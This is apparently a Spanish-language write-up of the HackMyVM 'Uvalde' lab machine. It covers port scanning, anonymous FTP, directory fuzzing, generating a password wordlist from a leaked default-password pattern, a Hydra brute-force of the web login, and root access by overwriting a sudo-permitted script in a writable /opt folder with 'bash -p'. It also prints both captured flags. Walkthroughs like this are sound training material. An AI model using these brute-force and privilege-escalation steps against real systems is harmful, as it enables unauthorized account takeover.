Uvalde HackMyVM (Easy - Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-18 03:11 EDT
Nmap scan report for 192.168.5.23
Host is up (0.0013s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 1000 1000 5154 Jan 28 2023 output
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.5.4
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 3a:09:a4:da:d7:db:99:ee:a5:51:05:e9:af:e7:08:90 (RSA)
| 256 cb:42:6a:be:22:13:2c:f2:57:f9:80:d1:f7:fb:88:5c (ECDSA)
|_ 256 44:3c:b4:0f:aa:c3:94:fa:23:15:19:e3:e5:18:56:94 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-title: Agency - Start Bootstrap Theme
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:B4:40:7B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.82 seconds
Veremos un puerto FTP
y un puerto 80
, si entramos donde se aloja una pagina web en el puerto 80
veremos una pagina web normal y corriente sin nada interesante, vamos a ver si podemos acceder al FTP
de forma anonima.
ftp anonymous@<IP>
Veremos que si nos deja y si listamos veremos lo siguiente:
229 Entering Extended Passive Mode (|||22504|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 116 4096 Jan 28 2023 .
drwxr-xr-x 2 0 116 4096 Jan 28 2023 ..
-rw-r--r-- 1 1000 1000 5154 Jan 28 2023 output
226 Directory send OK.
Vamos a descargarnos dicho archivo a ver que continene:
get output
Una vez descargado, vamos a leerlo:
Script démarré sur 2023-01-28 19:54:05+01:00 [TERM="xterm-256color" TTY="/dev/pts/0" COLUMNS="105" LINES="25"]
matthew@debian:~$ id
uid=1000(matthew) gid=1000(matthew) groupes=1000(matthew)
matthew@debian:~$ ls -al
total 32
drwxr-xr-x 4 matthew matthew 4096 28 janv. 19:54 .
drwxr-xr-x 3 root root 4096 23 janv. 07:52 ..
lrwxrwxrwx 1 root root 9 23 janv. 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 matthew matthew 220 23 janv. 07:51 .bash_logout
-rw-r--r-- 1 matthew matthew 3526 23 janv. 07:51 .bashrc
drwx------ 3 matthew matthew 4096 23 janv. 08:04 .config
drwxr-xr-x 3 matthew matthew 4096 23 janv. 08:04 .local
-rw-r--r-- 1 matthew matthew 807 23 janv. 07:51 .profile
-rw-r--r-- 1 matthew matthew 0 28 janv. 19:54 typescript
-rwx------ 1 matthew matthew 33 23 janv. 07:53 user.txt
matthew@debian:~$ toilet -f mono12 -F metal hackmyvm.eu
▄▄ ▄▄
██ ██
██▄████▄ ▄█████▄ ▄█████▄ ██ ▄██▀ ████▄██▄ ▀██ ███ ██▄ ▄██ ████▄██▄
██▀ ██ ▀ ▄▄▄██ ██▀ ▀ ██▄██ ██ ██ ██ ██▄ ██ ██ ██ ██ ██ ██
██ ██ ▄██▀▀▀██ ██ ██▀██▄ ██ ██ ██ ████▀ ▀█▄▄█▀ ██ ██ ██
██ ██ ██▄▄▄███ ▀██▄▄▄▄█ ██ ▀█▄ ██ ██ ██ ███ ████ ██ ██ ██
▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀▀▀▀ ▀▀ ▀▀▀ ▀▀ ▀▀ ▀▀ ██ ▀▀ ▀▀ ▀▀ ▀▀
███
▄████▄ ██ ██
██▄▄▄▄██ ██ ██
██▀▀▀▀▀▀ ██ ██
██ ▀██▄▄▄▄█ ██▄▄▄███
▀▀ ▀▀▀▀▀ ▀▀▀▀ ▀▀
matthew@debian:~$ exit
exit
Script terminé sur 2023-01-28 19:54:37+01:00 [COMMAND_EXIT_CODE="0"]
Vemos que es un log
del sistema, pero con esto ya estamos identificando un usuario llamado matthew
, aunque de momento no veremos nada mas interesante, vamos a realizar un poco de fuzzing
a ver que encontramos.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.5.23/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/index.php (Status: 200) [Size: 29604]
/img (Status: 200) [Size: 1921]
/login.php (Status: 200) [Size: 1022]
/user.php (Status: 200) [Size: 1022]
/mail (Status: 200) [Size: 946]
/.html (Status: 403) [Size: 277]
/js (Status: 200) [Size: 1575]
/success.php (Status: 200) [Size: 1022]
/vendor (Status: 200) [Size: 1557]
/css (Status: 200) [Size: 1139]
/create_account.php (Status: 200) [Size: 1003]
/.html (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
/server-status (Status: 403) [Size: 277]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
Veremos varias cosas interesantes, entre ellas este archivo llamado create_account.php
, vamos a entrar dentro de dicho archivo a ver que nos encontramos.
URL = http://<IP>/create_account.php
Veremos que nos aparecera una campo en el que tendremos que ingresar nuestro nombre, por lo que vamos a poner test
, una vez echo esto veremos lo siguiente en la pagina:
Successful registration
Y en la URL
veremos esto otro:
http://<IP>/success.php?dXNlcm5hbWU9dGVzdCZwYXNzd29yZD10ZXN0MjAyNUA4OTUy
Vemos que se nos genera una cadena codificada en Base64
, vamos a decodificarla de esta forma:
echo "dXNlcm5hbWU9dGVzdCZwYXNzd29yZD10ZXN0MjAyNUA4OTUy" | base64 -d
Info:
username=test&password=test2025@8952
Vemos que se ingresa el usuario que nosotros metemos y que despues se genera una contraseña por defecto que te genera la pagina web, por lo que podemos deducir que el usuario matthew
puede tener dicha contraseña por defecto que te da la web siguiendo esta estructura:
usuario + año + @ + num_aleatorio
Tambien vemos que el output
esta en el 2023-01-28
por lo que seguramente el año de la cuenta de la password sea con dicho año, vamos a ponarnos un script que nos genere dicha password con los numeros aleatorios, pero con esa estructura y con ese año.
generate_dic.py
# Generador de diccionario: matthew2023@0000 - matthew2023@9999
with open("diccionario.txt", "w") as f:
for i in range(10000):
palabra = f"matthew2023@{i:04d}"
f.write(palabra + "\n")
print("Diccionario generado como diccionario.txt")
Ahora si ejecutamos esto:
python3 generate_dic.py
Veremos que nos ha generado el diccionario de forma correcta, por lo que vamos a realizar fuerza bruta
en el archivo de login.php
mediante hydra
.
Escalate user matthew
Hydra
hydra -l matthew -P diccionario.txt <IP> http-post-form "/login.php:username=^USER^&password=^PASS^:S=302"
Info:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-18 03:32:56
[DATA] max 16 tasks per 1 server, overall 16 tasks, 10000 login tries (l:1/p:10000), ~625 tries per task
[DATA] attacking http-post-form://192.168.5.23:80/login.php:username=^USER^&password=^PASS^:S=302
[80][http-post-form] host: 192.168.5.23 login: matthew password: matthew2023@1554
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-18 03:33:24
Veremos que hemos obtenido las credenciales de dicho usuario, ahora si las probamos en el login.php
, veremos que si nos deja, pero no veremos gran cosa, por lo que vamos a probarlas por SSH
a ver si funcionan.
SSH
ssh matthew@<IP>
Metemos como contraseña matthew2023@1554
y veremos que estamos dentro, por lo que leeremos la flag
del usuario.
user.txt
6e4136fbed8f8c691996dbf42697d460
Escalate Privileges
SI hacemos sudo -l
veremos lo siguiente:
Matching Defaults entries for matthew on uvalde:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User matthew may run the following commands on uvalde:
(ALL : ALL) NOPASSWD: /bin/bash /opt/superhack
Veremos que podremos ejecutar bash
junto con el script superhack
como el usuario root
, por lo que vamos a investigar dicho script.
Si leemos el script, veremos lo siguiente:
#! /bin/bash
clear -x
GRAS=$(tput bold)
JAUNE=$(tput setaf 3)$GRAS
BLANC=$(tput setaf 7)$GRAS
BLEU=$(tput setaf 4)$GRAS
VERT=$(tput setaf 2)$GRAS
ROUGE=$(tput setaf 1)$GRAS
RESET=$(tput sgr0)
cat << EOL
_______ __ __ _______ _______ ______ __ __ _______ _______ ___ _
| || | | || || || _ | | | | || _ || || | | |
| _____|| | | || _ || ___|| | || | |_| || |_| || || |_| |
| |_____ | |_| || |_| || |___ | |_||_ | || || || _|
|_____ || || ___|| ___|| __ || || || _|| |_
_____| || || | | |___ | | | || _ || _ || |_ | _ |
|_______||_______||___| |_______||___| |_||__| |__||__| |__||_______||___| |_|
EOL
printf "${BLANC}Tool:${RESET} ${BLEU}superHack${RESET}\n"
printf "${BLANC}Author:${RESET} ${BLEU}hackerman${RESET}\n"
printf "${BLANC}Version:${RESET} ${BLEU}1.0${RESET}\n"
printf "\n"
[[ $# -ne 0 ]] && echo -e "${BLEU}Usage:${RESET} $0 domain" && exit
while [ -z "$domain" ]; do
read -p "${VERT}domain to hack:${RESET} " domain
done
printf "\n"
n=50
string=""
for ((i=0; i<$n; i++))
do
string+="."
done
for ((i=0; i<$n; i++))
do
string="${string/./#}"
printf "${BLANC}Hacking progress...:${RESET} ${BLANC}[$string]${RESET}\r"
sleep .09
done
printf "\n"
printf "${JAUNE}Target $domain ====> PWNED${RESET}\n"
printf "${JAUNE}URL: https://$domain/*********************.php${RESET}\n"
echo -e "\n${ROUGE}Pay 0.000047 BTC to 3FZbgi29cpjq2GjdwV8eyHuJJnkLtktZc5 to unlock backdoor.${RESET}\n"
Pero no veremos nada interesante, ahora si listamos la carpeta /opt
veremos esto:
drwx---rwx 2 root root 4096 Feb 5 2023 .
drwxr-xr-x 18 root root 4096 Jan 22 2023 ..
-rw-r--r-- 1 root root 1594 Jan 31 2023 superhack
Vemos que el archivo esta dentro del /opt
con estos permisos:
drwx---rwx
Por lo que podremos hacer una cosa con dicho archivo:
mv superhack superhack_old
nano superhack
#Dentro del nano
#!/bin/bash
bash -p
Lo guardamos y le establecemos permisos de ejecuccion.
chmod +x superhack
Ahora si lo ejecutamos de esta forma:
sudo bash /opt/superhack
Info:
root@uvalde:/opt# whoami
root
Veremos que seremos root
por lo que leeremos la flag
de root
.
root.txt
59ec54537e98a53691f33e81500f56da
Last updated